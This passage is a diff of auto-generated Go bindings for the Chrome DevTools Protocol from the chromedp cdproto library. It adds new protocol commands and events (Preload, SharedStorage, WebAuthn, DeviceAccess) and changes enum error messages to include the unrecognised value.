||||
|
||||
case CommandNetworkGetAllCookies:
|
||||
v = new(network.GetAllCookiesReturns)
|
||||
|
||||
case CommandNetworkGetCertificate:
|
||||
v = new(network.GetCertificateReturns)
|
||||
|
||||
@@ -2106,12 +2133,12 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandPageGetInstallabilityErrors:
|
||||
v = new(page.GetInstallabilityErrorsReturns)
|
||||
|
||||
case CommandPageGetManifestIcons:
|
||||
v = new(page.GetManifestIconsReturns)
|
||||
|
||||
case CommandPageGetAppID:
|
||||
v = new(page.GetAppIDReturns)
|
||||
|
||||
case CommandPageGetAdScriptID:
|
||||
v = new(page.GetAdScriptIDReturns)
|
||||
|
||||
case CommandPageGetFrameTree:
|
||||
v = new(page.GetFrameTreeReturns)
|
||||
|
||||
@@ -2175,9 +2202,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandPageSetDocumentContent:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandPageSetDownloadBehavior:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandPageSetLifecycleEventsEnabled:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2211,6 +2235,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandPageSetSPCTransactionMode:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandPageSetRPHRegistrationMode:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandPageGenerateTestReport:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2271,6 +2298,12 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case EventPagePrerenderAttemptCompleted:
|
||||
v = new(page.EventPrerenderAttemptCompleted)
|
||||
|
||||
case EventPagePrefetchStatusUpdated:
|
||||
v = new(page.EventPrefetchStatusUpdated)
|
||||
|
||||
case EventPagePrerenderStatusUpdated:
|
||||
v = new(page.EventPrerenderStatusUpdated)
|
||||
|
||||
case EventPageLoadEventFired:
|
||||
v = new(page.EventLoadEventFired)
|
||||
|
||||
@@ -2307,6 +2340,18 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case EventPerformanceTimelineTimelineEventAdded:
|
||||
v = new(performancetimeline.EventTimelineEventAdded)
|
||||
|
||||
case CommandPreloadEnable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandPreloadDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventPreloadRuleSetUpdated:
|
||||
v = new(preload.EventRuleSetUpdated)
|
||||
|
||||
case EventPreloadRuleSetRemoved:
|
||||
v = new(preload.EventRuleSetRemoved)
|
||||
|
||||
case CommandProfilerDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2325,24 +2370,15 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandProfilerStartPreciseCoverage:
|
||||
v = new(profiler.StartPreciseCoverageReturns)
|
||||
|
||||
case CommandProfilerStartTypeProfile:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandProfilerStop:
|
||||
v = new(profiler.StopReturns)
|
||||
|
||||
case CommandProfilerStopPreciseCoverage:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandProfilerStopTypeProfile:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandProfilerTakePreciseCoverage:
|
||||
v = new(profiler.TakePreciseCoverageReturns)
|
||||
|
||||
case CommandProfilerTakeTypeProfile:
|
||||
v = new(profiler.TakeTypeProfileReturns)
|
||||
|
||||
case EventProfilerConsoleProfileFinished:
|
||||
v = new(profiler.EventConsoleProfileFinished)
|
||||
|
||||
@@ -2529,6 +2565,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandStorageTrackCacheStorageForOrigin:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageTrackCacheStorageForStorageKey:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageTrackIndexedDBForOrigin:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2538,6 +2577,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandStorageUntrackCacheStorageForOrigin:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageUntrackCacheStorageForStorageKey:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageUntrackIndexedDBForOrigin:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2556,6 +2598,27 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandStorageSetInterestGroupTracking:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageGetSharedStorageMetadata:
|
||||
v = new(storage.GetSharedStorageMetadataReturns)
|
||||
|
||||
case CommandStorageGetSharedStorageEntries:
|
||||
v = new(storage.GetSharedStorageEntriesReturns)
|
||||
|
||||
case CommandStorageSetSharedStorageEntry:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageDeleteSharedStorageEntry:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageClearSharedStorageEntries:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageResetSharedStorageBudget:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandStorageSetSharedStorageTracking:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventStorageCacheStorageContentUpdated:
|
||||
v = new(storage.EventCacheStorageContentUpdated)
|
||||
|
||||
@@ -2571,9 +2634,15 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case EventStorageInterestGroupAccessed:
|
||||
v = new(storage.EventInterestGroupAccessed)
|
||||
|
||||
case EventStorageSharedStorageAccessed:
|
||||
v = new(storage.EventSharedStorageAccessed)
|
||||
|
||||
case CommandSystemInfoGetInfo:
|
||||
v = new(systeminfo.GetInfoReturns)
|
||||
|
||||
case CommandSystemInfoGetFeatureState:
|
||||
v = new(systeminfo.GetFeatureStateReturns)
|
||||
|
||||
case CommandSystemInfoGetProcessInfo:
|
||||
v = new(systeminfo.GetProcessInfoReturns)
|
||||
|
||||
@@ -2736,6 +2805,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandWebAuthnAddVirtualAuthenticator:
|
||||
v = new(webauthn.AddVirtualAuthenticatorReturns)
|
||||
|
||||
case CommandWebAuthnSetResponseOverrideBits:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandWebAuthnRemoveVirtualAuthenticator:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2760,6 +2832,12 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandWebAuthnSetAutomaticPresenceSimulation:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventWebAuthnCredentialAdded:
|
||||
v = new(webauthn.EventCredentialAdded)
|
||||
|
||||
case EventWebAuthnCredentialAsserted:
|
||||
v = new(webauthn.EventCredentialAsserted)
|
||||
|
||||
default:
|
||||
return nil, cdp.ErrUnknownCommandOrEvent(msg.Method)
|
||||
}
|
||||
|
||||
+2
-2
@@ -604,14 +604,14 @@ func TakeComputedStyleUpdates() *TakeComputedStyleUpdatesParams {
|
||||
|
||||
// TakeComputedStyleUpdatesReturns return values.
|
||||
type TakeComputedStyleUpdatesReturns struct {
|
||||
NodeIDs []cdp.NodeID `json:"nodeIds,omitempty"` // The list of node Ids that have their tracked computed styles updated
|
||||
NodeIDs []cdp.NodeID `json:"nodeIds,omitempty"` // The list of node Ids that have their tracked computed styles updated.
|
||||
}
|
||||
|
||||
// Do executes CSS.takeComputedStyleUpdates against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// nodeIDs - The list of node Ids that have their tracked computed styles updated
|
||||
// nodeIDs - The list of node Ids that have their tracked computed styles updated.
|
||||
func (p *TakeComputedStyleUpdatesParams) Do(ctx context.Context) (nodeIDs []cdp.NodeID, err error) {
|
||||
// execute
|
||||
var res TakeComputedStyleUpdatesReturns
|
||||
|
||||
+14
@@ -7804,6 +7804,10 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCss78(in *jlexer.Lexer, out *
|
||||
out.StyleSheetID = StyleSheetID(in.String())
|
||||
case "name":
|
||||
out.Name = string(in.String())
|
||||
case "physicalAxes":
|
||||
(out.PhysicalAxes).UnmarshalEasyJSON(in)
|
||||
case "logicalAxes":
|
||||
(out.LogicalAxes).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -7838,6 +7842,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCss78(out *jwriter.Writer, in
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Name))
|
||||
}
|
||||
if in.PhysicalAxes != "" {
|
||||
const prefix string = ",\"physicalAxes\":"
|
||||
out.RawString(prefix)
|
||||
(in.PhysicalAxes).MarshalEasyJSON(out)
|
||||
}
|
||||
if in.LogicalAxes != "" {
|
||||
const prefix string = ",\"logicalAxes\":"
|
||||
out.RawString(prefix)
|
||||
(in.LogicalAxes).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
|
||||
+14
-9
@@ -3,9 +3,10 @@ package css
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/dom"
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
@@ -54,7 +55,8 @@ func (t StyleSheetOrigin) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *StyleSheetOrigin) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch StyleSheetOrigin(in.String()) {
|
||||
v := in.String()
|
||||
switch StyleSheetOrigin(v) {
|
||||
case StyleSheetOriginInjected:
|
||||
*t = StyleSheetOriginInjected
|
||||
case StyleSheetOriginUserAgent:
|
||||
@@ -65,7 +67,7 @@ func (t *StyleSheetOrigin) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = StyleSheetOriginRegular
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown StyleSheetOrigin value"))
|
||||
in.AddError(fmt.Errorf("unknown StyleSheetOrigin value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -260,10 +262,12 @@ type MediaQueryExpression struct {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSContainerQuery
|
||||
type ContainerQuery struct {
|
||||
Text string `json:"text"` // Container query text.
|
||||
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
|
||||
Name string `json:"name,omitempty"` // Optional name for the container.
|
||||
Text string `json:"text"` // Container query text.
|
||||
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
|
||||
Name string `json:"name,omitempty"` // Optional name for the container.
|
||||
PhysicalAxes dom.PhysicalAxes `json:"physicalAxes,omitempty"` // Optional physical axes queried for the container.
|
||||
LogicalAxes dom.LogicalAxes `json:"logicalAxes,omitempty"` // Optional logical axes queried for the container.
|
||||
}
|
||||
|
||||
// Supports CSS Supports at-rule descriptor.
|
||||
@@ -405,7 +409,8 @@ func (t MediaSource) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *MediaSource) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch MediaSource(in.String()) {
|
||||
v := in.String()
|
||||
switch MediaSource(v) {
|
||||
case MediaSourceMediaRule:
|
||||
*t = MediaSourceMediaRule
|
||||
case MediaSourceImportRule:
|
||||
@@ -416,7 +421,7 @@ func (t *MediaSource) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = MediaSourceInlineSheet
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown MediaSource value"))
|
||||
in.AddError(fmt.Errorf("unknown MediaSource value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+4
-4
@@ -953,15 +953,15 @@ func (p *SetBreakpointsActiveParams) Do(ctx context.Context) (err error) {
|
||||
}
|
||||
|
||||
// SetPauseOnExceptionsParams defines pause on exceptions state. Can be set
|
||||
// to stop on all exceptions, uncaught exceptions or no exceptions. Initial
|
||||
// pause on exceptions state is none.
|
||||
// to stop on all exceptions, uncaught exceptions, or caught exceptions, no
|
||||
// exceptions. Initial pause on exceptions state is none.
|
||||
type SetPauseOnExceptionsParams struct {
|
||||
State ExceptionsState `json:"state"` // Pause on exceptions mode.
|
||||
}
|
||||
|
||||
// SetPauseOnExceptions defines pause on exceptions state. Can be set to stop
|
||||
// on all exceptions, uncaught exceptions or no exceptions. Initial pause on
|
||||
// exceptions state is none.
|
||||
// on all exceptions, uncaught exceptions, or caught exceptions, no exceptions.
|
||||
// Initial pause on exceptions state is none.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-setPauseOnExceptions
|
||||
//
|
||||
|
||||
+41
-25
@@ -3,7 +3,7 @@ package debugger
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
"github.com/mailru/easyjson"
|
||||
@@ -136,14 +136,15 @@ func (t ScriptLanguage) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ScriptLanguage) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ScriptLanguage(in.String()) {
|
||||
v := in.String()
|
||||
switch ScriptLanguage(v) {
|
||||
case ScriptLanguageJavaScript:
|
||||
*t = ScriptLanguageJavaScript
|
||||
case ScriptLanguageWebAssembly:
|
||||
*t = ScriptLanguageWebAssembly
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ScriptLanguage value"))
|
||||
in.AddError(fmt.Errorf("unknown ScriptLanguage value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -196,7 +197,8 @@ func (t ScopeType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ScopeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ScopeType(in.String()) {
|
||||
v := in.String()
|
||||
switch ScopeType(v) {
|
||||
case ScopeTypeGlobal:
|
||||
*t = ScopeTypeGlobal
|
||||
case ScopeTypeLocal:
|
||||
@@ -219,7 +221,7 @@ func (t *ScopeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ScopeTypeWasmExpressionStack
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ScopeType value"))
|
||||
in.AddError(fmt.Errorf("unknown ScopeType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -257,7 +259,8 @@ func (t BreakLocationType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *BreakLocationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch BreakLocationType(in.String()) {
|
||||
v := in.String()
|
||||
switch BreakLocationType(v) {
|
||||
case BreakLocationTypeDebuggerStatement:
|
||||
*t = BreakLocationTypeDebuggerStatement
|
||||
case BreakLocationTypeCall:
|
||||
@@ -266,7 +269,7 @@ func (t *BreakLocationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = BreakLocationTypeReturn
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown BreakLocationType value"))
|
||||
in.AddError(fmt.Errorf("unknown BreakLocationType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -305,7 +308,8 @@ func (t DebugSymbolsType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DebugSymbolsType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch DebugSymbolsType(in.String()) {
|
||||
v := in.String()
|
||||
switch DebugSymbolsType(v) {
|
||||
case DebugSymbolsTypeNone:
|
||||
*t = DebugSymbolsTypeNone
|
||||
case DebugSymbolsTypeSourceMap:
|
||||
@@ -316,7 +320,7 @@ func (t *DebugSymbolsType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = DebugSymbolsTypeExternalDWARF
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown DebugSymbolsType value"))
|
||||
in.AddError(fmt.Errorf("unknown DebugSymbolsType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -363,7 +367,8 @@ func (t PausedReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PausedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch PausedReason(in.String()) {
|
||||
v := in.String()
|
||||
switch PausedReason(v) {
|
||||
case PausedReasonAmbiguous:
|
||||
*t = PausedReasonAmbiguous
|
||||
case PausedReasonAssert:
|
||||
@@ -390,7 +395,7 @@ func (t *PausedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PausedReasonXHR
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown PausedReason value"))
|
||||
in.AddError(fmt.Errorf("unknown PausedReason value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -427,14 +432,15 @@ func (t ContinueToLocationTargetCallFrames) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ContinueToLocationTargetCallFrames) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ContinueToLocationTargetCallFrames(in.String()) {
|
||||
v := in.String()
|
||||
switch ContinueToLocationTargetCallFrames(v) {
|
||||
case ContinueToLocationTargetCallFramesAny:
|
||||
*t = ContinueToLocationTargetCallFramesAny
|
||||
case ContinueToLocationTargetCallFramesCurrent:
|
||||
*t = ContinueToLocationTargetCallFramesCurrent
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ContinueToLocationTargetCallFrames value"))
|
||||
in.AddError(fmt.Errorf("unknown ContinueToLocationTargetCallFrames value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -471,12 +477,13 @@ func (t RestartFrameMode) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *RestartFrameMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch RestartFrameMode(in.String()) {
|
||||
v := in.String()
|
||||
switch RestartFrameMode(v) {
|
||||
case RestartFrameModeStepInto:
|
||||
*t = RestartFrameModeStepInto
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown RestartFrameMode value"))
|
||||
in.AddError(fmt.Errorf("unknown RestartFrameMode value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -513,14 +520,15 @@ func (t SetInstrumentationBreakpointInstrumentation) MarshalJSON() ([]byte, erro
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetInstrumentationBreakpointInstrumentation) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch SetInstrumentationBreakpointInstrumentation(in.String()) {
|
||||
v := in.String()
|
||||
switch SetInstrumentationBreakpointInstrumentation(v) {
|
||||
case SetInstrumentationBreakpointInstrumentationBeforeScriptExecution:
|
||||
*t = SetInstrumentationBreakpointInstrumentationBeforeScriptExecution
|
||||
case SetInstrumentationBreakpointInstrumentationBeforeScriptWithSourceMapExecution:
|
||||
*t = SetInstrumentationBreakpointInstrumentationBeforeScriptWithSourceMapExecution
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown SetInstrumentationBreakpointInstrumentation value"))
|
||||
in.AddError(fmt.Errorf("unknown SetInstrumentationBreakpointInstrumentation value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -542,6 +550,7 @@ func (t ExceptionsState) String() string {
|
||||
// ExceptionsState values.
|
||||
const (
|
||||
ExceptionsStateNone ExceptionsState = "none"
|
||||
ExceptionsStateCaught ExceptionsState = "caught"
|
||||
ExceptionsStateUncaught ExceptionsState = "uncaught"
|
||||
ExceptionsStateAll ExceptionsState = "all"
|
||||
)
|
||||
@@ -558,16 +567,19 @@ func (t ExceptionsState) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ExceptionsState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ExceptionsState(in.String()) {
|
||||
v := in.String()
|
||||
switch ExceptionsState(v) {
|
||||
case ExceptionsStateNone:
|
||||
*t = ExceptionsStateNone
|
||||
case ExceptionsStateCaught:
|
||||
*t = ExceptionsStateCaught
|
||||
case ExceptionsStateUncaught:
|
||||
*t = ExceptionsStateUncaught
|
||||
case ExceptionsStateAll:
|
||||
*t = ExceptionsStateAll
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ExceptionsState value"))
|
||||
in.AddError(fmt.Errorf("unknown ExceptionsState value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -590,10 +602,11 @@ func (t SetScriptSourceStatus) String() string {
|
||||
|
||||
// SetScriptSourceStatus values.
|
||||
const (
|
||||
SetScriptSourceStatusOk SetScriptSourceStatus = "Ok"
|
||||
SetScriptSourceStatusCompileError SetScriptSourceStatus = "CompileError"
|
||||
SetScriptSourceStatusBlockedByActiveGenerator SetScriptSourceStatus = "BlockedByActiveGenerator"
|
||||
SetScriptSourceStatusBlockedByActiveFunction SetScriptSourceStatus = "BlockedByActiveFunction"
|
||||
SetScriptSourceStatusOk SetScriptSourceStatus = "Ok"
|
||||
SetScriptSourceStatusCompileError SetScriptSourceStatus = "CompileError"
|
||||
SetScriptSourceStatusBlockedByActiveGenerator SetScriptSourceStatus = "BlockedByActiveGenerator"
|
||||
SetScriptSourceStatusBlockedByActiveFunction SetScriptSourceStatus = "BlockedByActiveFunction"
|
||||
SetScriptSourceStatusBlockedByTopLevelEsModuleChange SetScriptSourceStatus = "BlockedByTopLevelEsModuleChange"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -608,7 +621,8 @@ func (t SetScriptSourceStatus) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetScriptSourceStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch SetScriptSourceStatus(in.String()) {
|
||||
v := in.String()
|
||||
switch SetScriptSourceStatus(v) {
|
||||
case SetScriptSourceStatusOk:
|
||||
*t = SetScriptSourceStatusOk
|
||||
case SetScriptSourceStatusCompileError:
|
||||
@@ -617,9 +631,11 @@ func (t *SetScriptSourceStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = SetScriptSourceStatusBlockedByActiveGenerator
|
||||
case SetScriptSourceStatusBlockedByActiveFunction:
|
||||
*t = SetScriptSourceStatusBlockedByActiveFunction
|
||||
case SetScriptSourceStatusBlockedByTopLevelEsModuleChange:
|
||||
*t = SetScriptSourceStatusBlockedByTopLevelEsModuleChange
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown SetScriptSourceStatus value"))
|
||||
in.AddError(fmt.Errorf("unknown SetScriptSourceStatus value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+104
@@ -0,0 +1,104 @@
|
||||
// Package deviceaccess provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the DeviceAccess domain.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package deviceaccess
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
)
|
||||
|
||||
// EnableParams enable events in this domain.
|
||||
type EnableParams struct{}
|
||||
|
||||
// Enable enable events in this domain.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#method-enable
|
||||
func Enable() *EnableParams {
|
||||
return &EnableParams{}
|
||||
}
|
||||
|
||||
// Do executes DeviceAccess.enable against the provided context.
|
||||
func (p *EnableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandEnable, nil, nil)
|
||||
}
|
||||
|
||||
// DisableParams disable events in this domain.
|
||||
type DisableParams struct{}
|
||||
|
||||
// Disable disable events in this domain.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#method-disable
|
||||
func Disable() *DisableParams {
|
||||
return &DisableParams{}
|
||||
}
|
||||
|
||||
// Do executes DeviceAccess.disable against the provided context.
|
||||
func (p *DisableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDisable, nil, nil)
|
||||
}
|
||||
|
||||
// SelectPromptParams select a device in response to a
|
||||
// DeviceAccess.deviceRequestPrompted event.
|
||||
type SelectPromptParams struct {
|
||||
ID RequestID `json:"id"`
|
||||
DeviceID DeviceID `json:"deviceId"`
|
||||
}
|
||||
|
||||
// SelectPrompt select a device in response to a
|
||||
// DeviceAccess.deviceRequestPrompted event.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#method-selectPrompt
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// id
|
||||
// deviceID
|
||||
func SelectPrompt(id RequestID, deviceID DeviceID) *SelectPromptParams {
|
||||
return &SelectPromptParams{
|
||||
ID: id,
|
||||
DeviceID: deviceID,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes DeviceAccess.selectPrompt against the provided context.
|
||||
func (p *SelectPromptParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSelectPrompt, p, nil)
|
||||
}
|
||||
|
||||
// CancelPromptParams cancel a prompt in response to a
|
||||
// DeviceAccess.deviceRequestPrompted event.
|
||||
type CancelPromptParams struct {
|
||||
ID RequestID `json:"id"`
|
||||
}
|
||||
|
||||
// CancelPrompt cancel a prompt in response to a
|
||||
// DeviceAccess.deviceRequestPrompted event.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#method-cancelPrompt
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// id
|
||||
func CancelPrompt(id RequestID) *CancelPromptParams {
|
||||
return &CancelPromptParams{
|
||||
ID: id,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes DeviceAccess.cancelPrompt against the provided context.
|
||||
func (p *CancelPromptParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandCancelPrompt, p, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandEnable = "DeviceAccess.enable"
|
||||
CommandDisable = "DeviceAccess.disable"
|
||||
CommandSelectPrompt = "DeviceAccess.selectPrompt"
|
||||
CommandCancelPrompt = "DeviceAccess.cancelPrompt"
|
||||
)
|
||||
+466
@@ -0,0 +1,466 @@
|
||||
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
|
||||
|
||||
package deviceaccess
|
||||
|
||||
import (
|
||||
json "encoding/json"
|
||||
easyjson "github.com/mailru/easyjson"
|
||||
jlexer "github.com/mailru/easyjson/jlexer"
|
||||
jwriter "github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// suppress unused package warning
|
||||
var (
|
||||
_ *json.RawMessage
|
||||
_ *jlexer.Lexer
|
||||
_ *jwriter.Writer
|
||||
_ easyjson.Marshaler
|
||||
)
|
||||
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess(in *jlexer.Lexer, out *SelectPromptParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "id":
|
||||
out.ID = RequestID(in.String())
|
||||
case "deviceId":
|
||||
out.DeviceID = DeviceID(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess(out *jwriter.Writer, in SelectPromptParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"id\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.ID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"deviceId\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.DeviceID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SelectPromptParams) MarshalJSON() ([]byte, error) {
|
